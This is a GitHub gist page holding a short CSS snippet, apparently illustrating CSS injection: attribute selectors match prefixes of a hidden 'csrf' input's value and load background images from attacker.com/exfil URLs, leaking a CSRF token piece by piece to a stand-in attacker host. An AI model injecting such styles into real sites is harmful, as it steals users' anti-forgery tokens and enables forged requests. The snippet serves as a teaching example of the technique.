Skip to content

Instantly share code, notes, and snippets.

@d0nutptr

d0nutptr/example_css_injection_2.css

Last active July 25, 2018 07:12
Show Gist options
  • Save d0nutptr/fa0efd99126c6ae6fde10a9694a7237a to your computer and use it in GitHub Desktop.
Save d0nutptr/fa0efd99126c6ae6fde10a9694a7237a to your computer and use it in GitHub Desktop.
Download ZIP
Raw
example_css_injection_2.css
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment